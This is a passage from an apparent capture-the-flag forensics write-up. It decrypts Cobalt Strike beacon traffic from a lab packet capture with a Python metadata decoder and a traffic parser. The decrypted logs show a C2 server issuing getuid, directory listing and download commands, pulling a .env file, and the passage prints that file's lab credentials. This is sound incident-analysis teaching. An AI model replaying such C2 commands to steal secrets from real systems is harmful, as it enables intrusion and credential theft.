    50220: 'ISO 2022 Japanese with no halfwidth Katakana; Japanese (JIS)',
    50221: 'ISO 2022 Japanese with halfwidth Katakana; Japanese (JIS-Allow 1 byte Kana)',
    50222: 'ISO 2022 Japanese JIS X 0201-1989; Japanese (JIS-Allow 1 byte Kana - SO/SI)',
    50225: 'ISO 2022 Korean',
    50227: 'ISO 2022 Simplified Chinese; Chinese Simplified (ISO 2022)',
    50229: 'ISO 2022 Traditional Chinese',
    50930: 'EBCDIC Japanese (Katakana) Extended',
    50931: 'EBCDIC US-Canada and Japanese',
    50933: 'EBCDIC Korean Extended and Korean',
    50935: 'EBCDIC Simplified Chinese Extended and Simplified Chinese',
    50936: 'EBCDIC Simplified Chinese',
    50937: 'EBCDIC US-Canada and Traditional Chinese',
    50939: 'EBCDIC Japanese (Latin) Extended and Japanese',
    51932: 'EUC Japanese',
    51936: 'EUC Simplified Chinese; Chinese Simplified (EUC)',
    51949: 'EUC Korean',
    51950: 'EUC Traditional Chinese',
    52936: 'HZ-GB2312 Simplified Chinese; Chinese Simplified (HZ)',
    54936: 'Windows XP and later: GB18030 Simplified Chinese (4 byte); Chinese Simplified (GB18030)',
    57002: 'ISCII Devanagari',
    57003: 'ISCII Bengali',
    57004: 'ISCII Tamil',
    57005: 'ISCII Telugu',
    57006: 'ISCII Assamese',
    57007: 'ISCII Oriya',
    57008: 'ISCII Kannada',
    57009: 'ISCII Malayalam',
    57010: 'ISCII Gujarati',
    57011: 'ISCII Punjabi',
    65000: 'Unicode (UTF-7)',
    65001: 'Unicode (UTF-8)'
}

def load_keys():
    with open(".cobaltstrike.beacon_keys", "rb") as fd:
        pobj = javaobj.load(fd)
        privateKey = pobj.array.value.privateKey.encoded.data

    privateKey = (
        b"-----BEGIN PRIVATE KEY-----\n"
        + base64.encodebytes(bytes(map(lambda x: x & 0xFF, privateKey)))
        + b"-----END PRIVATE KEY-----"
    )
    return privateKey

def netbiosu_decode(netbios):
    i = iter(netbios)
    b = []
    for c in i:
        b.append(((ord(c) - ord('A')) << 4) + ((ord(next(i)) - ord('A')) & 0xF))
    return bytes(b)

def decrypt_metadata(private_key_pem, encrypted_metadata):
    private_key = serialization.load_pem_private_key(
        private_key_pem,
        password=None,
    )

    try:
        decrypted_metadata = private_key.decrypt(
            encrypted_metadata,
            padding.PKCS1v15()
        )
        return decrypted_metadata
    except Exception as e:
        print("An error occurred during decryption:", e)
        return None

def parse_metadata(decrypted_metadata):
    fields = {}

    fields["header"] = struct.unpack(">I", decrypted_metadata[:4])[0]
    datasize = struct.unpack(">I", decrypted_metadata[4:8])[0]
    fields["datasize"] = datasize

    decrypted_metadata = decrypted_metadata[:datasize + 8]
    
    raw_key = decrypted_metadata[8:24]
    fields["raw_key"] = binascii.hexlify(raw_key).decode()
    sha256_hash = hashlib.sha256(raw_key).hexdigest()
    fields["aes_key"] = sha256_hash[:32]
    fields["hmac_key"] = sha256_hash[32:]

    charset, charset_oem = struct.unpack("<HH", decrypted_metadata[24:28])
    fields["charset"] = f"{charset:04x} {dCodepages.get(charset, '')}"
    fields["charset_oem"] = f"{charset_oem:04x} {dCodepages.get(charset_oem, '')}"

    remaining_data = decrypted_metadata[28:]
    if not re.match(b'[0-9]+\t[0-9]+\t[0-9]', remaining_data[:10]):
        bid, pid, port, flags = struct.unpack(">IIHB", remaining_data[:11])
        fields["beacon_id"] = f"{bid:04x} {bid}"
        fields["process_id"] = f"{pid:04x} {pid}"
        fields["port"] = port
        fields["flags"] = f"{flags:02x}"

        remaining_data = remaining_data[11:]
        if not re.match(rb'[0-9]+\.[0-9]+\t[0-9]+', remaining_data[:10]):
            var1, var2, var3, var4, var5, var6 = struct.unpack(">BBHIII", remaining_data[:16])
            fields["var1"] = var1
            fields["var2"] = var2
            fields["var3"] = var3
            fields["var4"] = var4
            fields["var5"] = var5
            fields["var6"] = var6

            ip_address_bytes = remaining_data[16:20]
            fields["internal_ipv4"] = ".".join(map(str, ip_address_bytes[::-1]))

    remainder = remaining_data[20:]
    for idx, field in enumerate(remainder.split(b'\t')):
        fields[f"Field_{idx}"] = field.decode(errors="replace")

    return fields

private_key_pem = load_keys()
encoded_data = input("Enter the encoded netbiosu string: ")
encrypted_metadata = netbiosu_decode(encoded_data)
decrypted_metadata = decrypt_metadata(private_key_pem, encrypted_metadata)

if decrypted_metadata:
    parsed_fields = parse_metadata(decrypted_metadata)
    
    print("Decrypted Metadata:")
    for key, value in parsed_fields.items():
        print(f"{key}: {value}")
else:
    print("Failed to decrypt metadata.")

apt5

The raw key can be identified to be 6217a4d8575c2f1e1d318292a7bb371e.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ python cs-netbiosu-decoder.py 
Enter the encoded netbiosu string: AOBCGFMECPGCHBFAHMHOPEIFACMALIPGFEKNMJHGJEAAHGDJGGKKCEKGKNDCBFJLOMOLDEGACCGJOHCIBLMADKPIBNCBPGILCEMAJNEHOIHGEKMNHDKGIMEDHICKFFOPGDMMOJKAKCBOEHBHPPGJAKNGJIBCHKOIKGFJHHBKBAANIIDHFCNHMGPJCLFICDAHHMPNBGGNGLGAIEOEPLIONFEOJLDPDLBJJAFAKCGCOJGMFOLPBABIPPFCNKAAEHBE
Decrypted Metadata:
header: 48879
datasize: 92
raw_key: 6217a4d8575c2f1e1d318292a7bb371e
aes_key: 08ef925110823f27d9cf3b37fe522f88
hmac_key: 303f9fd8319f3c23fba01bd83c43d936
charset: 04e4 ANSI Latin 1; Western European (Windows)
charset_oem: 01b5 OEM United States
beacon_id: 29f7162c 704058924
process_id: 0a10 2576
port: 0
flags: 04
var1: 6
var2: 2
var3: 9200
var4: 0
var5: 1991446784
var6: 1991441280
internal_ipv4: 192.168.176.128
Field_0: DESKTOP-N8QRFSQ
Field_1: zoznoor23
Field_2: Maintenance.exe

Question 5: Determine the name of the executable that initiated the C2 communication. (Format:filename.ext)

The name of the executable can be identified from the metadata.

The executable can be identified to be Maintenance.exe.

Question 6: What is the secret found in the environment variable?

With the raw key, the C2 traffic in the PCAP can be decrypted easily using this tool. Decrypting the traffic, we can identify a file called .env in the “Leucothea_app.v1” program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
python .\cs-parse-traffic.py -r 6217a4d8575c2f1e1d318292a7bb371e -e APT-Detector.pcap
Packet number: 35
HTTP response (for request 32 )
Length raw data: 48
Timestamp: 1731545692 20241114-005452
Data size: 16
Command: 4 COMMAND_SLEEP
 Sleep: 2000
 Jitter: 0

Packet number: 35
HTTP request
http://192.168.176.129/zOMGAPT?tmp=AOBCGFMECPGCHBFAHMHOPEIFACMALIPGFEKNMJHGJEAAHGDJGGKKCEKGKNDCBFJLOMOLDEGACCGJOHCIBLMADKPIBNCBPGILCEMAJNEHOIHGEKMNHDKGIMEDHICKFFOPGDMMOJKAKCBOEHBHPPGJAKNGJIBCHKOIKGFJHHBKBAANIIDHFCNHMGPJCLFICDAHHMPNBGGNGLGAIEOEPLIONFEOJLDPDLBJJAFAKCGCOJGMFOLPBABIPPFCNKAAEHBE
Length raw data: 48
HMAC signature invalid

Packet number: 55
HTTP response (for request 52 )
Length raw data: 48
Timestamp: 1731545696 20241114-005456
Data size: 8
Command: 27 COMMAND_GETUID
 Arguments length: 0

Packet number: 55
HTTP request
http://192.168.176.129/zOMGAPT?tmp=AOBCGFMECPGCHBFAHMHOPEIFACMALIPGFEKNMJHGJEAAHGDJGGKKCEKGKNDCBFJLOMOLDEGACCGJOHCIBLMADKPIBNCBPGILCEMAJNEHOIHGEKMNHDKGIMEDHICKFFOPGDMMOJKAKCBOEHBHPPGJAKNGJIBCHKOIKGFJHHBKBAANIIDHFCNHMGPJCLFICDAHHMPNBGGNGLGAIEOEPLIONFEOJLDPDLBJJAFAKCGCOJGMFOLPBABIPPFCNKAAEHBE
Length raw data: 48
HMAC signature invalid

Packet number: 62
HTTP request POST
http://192.168.176.129/BUYTHEAPTDETECTORNOWNzA0MDU4OTI0
Length raw data: 68
Counter: 2
Callback: 16 CALLBACK_TOKEN_GETUID
b'DESKTOP-N8QRFSQ\\zoznoor23'

Packet number: 78
HTTP response (for request 74 )
Length raw data: 48
Timestamp: 1731545698 20241114-005458
Data size: 8
Command: 39 COMMAND_PWD
 Arguments length: 0

Packet number: 78
HTTP request
http://192.168.176.129/zOMGAPT?tmp=AOBCGFMECPGCHBFAHMHOPEIFACMALIPGFEKNMJHGJEAAHGDJGGKKCEKGKNDCBFJLOMOLDEGACCGJOHCIBLMADKPIBNCBPGILCEMAJNEHOIHGEKMNHDKGIMEDHICKFFOPGDMMOJKAKCBOEHBHPPGJAKNGJIBCHKOIKGFJHHBKBAANIIDHFCNHMGPJCLFICDAHHMPNBGGNGLGAIEOEPLIONFEOJLDPDLBJJAFAKCGCOJGMFOLPBABIPPFCNKAAEHBE
Length raw data: 48
HMAC signature invalid

Packet number: 85
HTTP request POST
http://192.168.176.129/BUYTHEAPTDETECTORNOWNzA0MDU4OTI0
Length raw data: 68
Counter: 3
Callback: 19 CALLBACK_PWD
b'C:\\Users\\zoznoor23\\Desktop'

Packet number: 100
HTTP response (for request 97 )
Length raw data: 48
Timestamp: 1731545701 20241114-005501
Data size: 19
Command: 53 COMMAND_LS
 Arguments length: 11
 b'\xff\xff\xff\xfe\x00\x00\x00\x03.\\*'
 MD5: 4a2685ea905daff3380145bc124d7b2b

Packet number: 100
HTTP request
http://192.168.176.129/zOMGAPT?tmp=AOBCGFMECPGCHBFAHMHOPEIFACMALIPGFEKNMJHGJEAAHGDJGGKKCEKGKNDCBFJLOMOLDEGACCGJOHCIBLMADKPIBNCBPGILCEMAJNEHOIHGEKMNHDKGIMEDHICKFFOPGDMMOJKAKCBOEHBHPPGJAKNGJIBCHKOIKGFJHHBKBAANIIDHFCNHMGPJCLFICDAHHMPNBGGNGLGAIEOEPLIONFEOJLDPDLBJJAFAKCGCOJGMFOLPBABIPPFCNKAAEHBE
Length raw data: 48
HMAC signature invalid

Packet number: 107
HTTP request POST
http://192.168.176.129/BUYTHEAPTDETECTORNOWNzA0MDU4OTI0
Length raw data: 260
Counter: 4
Callback: 22 CALLBACK_PENDING
b'\xff\xff\xff\xfe'
----------------------------------------------------------------------------------------------------
C:\Users\zoznoor23\Desktop\*
D       0       11/13/2024 16:53:26     .
D       0       11/13/2024 16:53:26     ..
F       282     08/10/2024 16:10:16     desktop.ini
D       0       11/13/2024 15:50:54     Leucothea_app.v1
F       354816  11/13/2024 16:51:00     Maintenance.exe

----------------------------------------------------------------------------------------------------
Extra packet data: b'\x00\x00'

Packet number: 155
HTTP response (for request 151 )
Length raw data: 64
Timestamp: 1731545709 20241114-005509
Data size: 24
Command: 5 COMMAND_CD
 Arguments length: 16
 b'Leucothea_app.v1'
 MD5: 364fe75ef2892cbc769d6ad9f6fb79d9

Packet number: 155
HTTP request
http://192.168.176.129/zOMGAPT?tmp=AOBCGFMECPGCHBFAHMHOPEIFACMALIPGFEKNMJHGJEAAHGDJGGKKCEKGKNDCBFJLOMOLDEGACCGJOHCIBLMADKPIBNCBPGILCEMAJNEHOIHGEKMNHDKGIMEDHICKFFOPGDMMOJKAKCBOEHBHPPGJAKNGJIBCHKOIKGFJHHBKBAANIIDHFCNHMGPJCLFICDAHHMPNBGGNGLGAIEOEPLIONFEOJLDPDLBJJAFAKCGCOJGMFOLPBABIPPFCNKAAEHBE
Length raw data: 64
HMAC signature invalid

Packet number: 165
HTTP response (for request 162 )
Length raw data: 48
Timestamp: 1731545711 20241114-005511
Data size: 19
Command: 53 COMMAND_LS
 Arguments length: 11
 b'\xff\xff\xff\xfe\x00\x00\x00\x03.\\*'
 MD5: 4a2685ea905daff3380145bc124d7b2b

Packet number: 165
HTTP request
http://192.168.176.129/zOMGAPT?tmp=AOBCGFMECPGCHBFAHMHOPEIFACMALIPGFEKNMJHGJEAAHGDJGGKKCEKGKNDCBFJLOMOLDEGACCGJOHCIBLMADKPIBNCBPGILCEMAJNEHOIHGEKMNHDKGIMEDHICKFFOPGDMMOJKAKCBOEHBHPPGJAKNGJIBCHKOIKGFJHHBKBAANIIDHFCNHMGPJCLFICDAHHMPNBGGNGLGAIEOEPLIONFEOJLDPDLBJJAFAKCGCOJGMFOLPBABIPPFCNKAAEHBE
Length raw data: 48
HMAC signature invalid

Packet number: 172
HTTP request POST
http://192.168.176.129/BUYTHEAPTDETECTORNOWNzA0MDU4OTI0
Length raw data: 436
Counter: 5
Callback: 22 CALLBACK_PENDING
b'\xff\xff\xff\xfe'
----------------------------------------------------------------------------------------------------
C:\Users\zoznoor23\Desktop\Leucothea_app.v1\*
D       0       11/13/2024 15:50:54     .
D       0       11/13/2024 15:50:54     ..
F       324     11/13/2024 15:56:23     .env
F       1840    11/13/2024 15:51:49     app.json
F       9200    11/13/2024 15:51:35     app.py
D       0       11/13/2024 15:50:43     assets
F       1242    11/13/2024 15:51:08     build.sh
F       322     11/13/2024 15:51:22     Dockerfile
F       134     11/13/2024 15:52:00     requirements.txt
D       0       11/13/2024 15:49:25     Templates

----------------------------------------------------------------------------------------------------
Extra packet data: b'\rC\x01'

Packet number: 220
HTTP response (for request 216 )
Length raw data: 48
Timestamp: 1731545719 20241114-005519
Data size: 12
Command: 11 COMMAND_DOWNLOAD
 Arguments length: 4
 b'.env'
 MD5: f579cccc964135c7d644c7b2d3b0d3ec

Packet number: 220
HTTP request
http://192.168.176.129/zOMGAPT?tmp=AOBCGFMECPGCHBFAHMHOPEIFACMALIPGFEKNMJHGJEAAHGDJGGKKCEKGKNDCBFJLOMOLDEGACCGJOHCIBLMADKPIBNCBPGILCEMAJNEHOIHGEKMNHDKGIMEDHICKFFOPGDMMOJKAKCBOEHBHPPGJAKNGJIBCHKOIKGFJHHBKBAANIIDHFCNHMGPJCLFICDAHHMPNBGGNGLGAIEOEPLIONFEOJLDPDLBJJAFAKCGCOJGMFOLPBABIPPFCNKAAEHBE
Length raw data: 48
HMAC signature invalid

Packet number: 227
HTTP request POST
http://192.168.176.129/BUYTHEAPTDETECTORNOWNzA0MDU4OTI0
Length raw data: 524
Counter: 6
Callback: 2 CALLBACK_FILE
 parameter1: 0
 length: 324
 filenameDownload: C:\Users\zoznoor23\Desktop\Leucothea_app.v1\.env

Counter: 7
Callback: 8 CALLBACK_FILE_WRITE
 Length: 324
 MD5: f1e503e1eaee73f61c4d09a3926fa7cd

Counter: 8
Callback: 9 CALLBACK_FILE_CLOSE
b'\x00\x00\x00\x00'

Commands summary:
 4 COMMAND_SLEEP: 1
 5 COMMAND_CD: 1
 11 COMMAND_DOWNLOAD: 1
 27 COMMAND_GETUID: 1
 39 COMMAND_PWD: 1
 53 COMMAND_LS: 2

Callbacks summary:
 2 CALLBACK_FILE: 1
 8 CALLBACK_FILE_WRITE: 1
 9 CALLBACK_FILE_CLOSE: 1
 16 CALLBACK_TOKEN_GETUID: 1
 19 CALLBACK_PWD: 1
 22 CALLBACK_PENDING: 2

Notice how the -e flag is used when using the tool, this was to extract the decrypted payload content from the C2 traffic.

apt7

One of the payload has the secret D3cRypt1n6_c0b4l7_57r1k3_7r4ff1c_15_1n54n3 with other credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
username=zoznoor23
password=lol

API_KEY=d4f8e7a9-2c3b-41b8-bf22-a59f7e6b09c1
GOOGLE_API_KEY=AIzaSyA-EXAMPLE-KEY12345

DATABASE_URL=postgresql://root:root@localhost:5432/leucothea 
DB_HOST=localhost
DB_PORT=5432
DB_USER=root
DB_PASSWORD=root
DB_NAME=leucothea 

secret=D3cRypt1n6_c0b4l7_57r1k3_7r4ff1c_15_1n54n3
This post is licensed under CC BY 4.0 by the author.